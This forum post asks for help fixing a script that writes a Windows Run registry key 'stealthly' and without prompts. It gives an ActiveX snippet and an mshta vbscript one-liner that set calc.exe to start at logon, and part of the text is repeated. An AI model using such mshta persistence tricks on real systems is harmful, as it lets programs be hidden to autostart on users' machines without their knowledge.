Command line to write registry keys bypassing any prompt
Posted: 20 Sep 2020 18:19
I have this code for years that basically takes advantage of Internet Explorer to prompt the user if it wants to execute a ActiveX Object. This Object stealthly write registry keys to the system.
More about the script here
http://raidcommunity.forumup.it/viewtop ... mmunity#70
Yesterday while reviewing this forum i got the idea to improve the code above and convert to a mshta command line to be execute on cmd.exe. Basically what i was looking for is a way to write registry keys without using reg add and bypassing any windows limited rule.
Here is the code that i wrote but it doesn't work. Can anyone spot the error?
Thanks
Code: Select all
<script> var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec); </script>
http://raidcommunity.forumup.it/viewtop ... mmunity#70
Yesterday while reviewing this forum i got the idea to improve the code above and convert to a mshta command line to be execute on cmd.exe. Basically what i was looking for is a way to write registry keys without using reg add and bypassing any windows limited rule.
Here is the code that i wrote but it doesn't work. Can anyone spot the error?
Code: Select all
mshta vbscript:(CreateObject("WScript.Shell").RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc","calc.exe"))(Window.Close)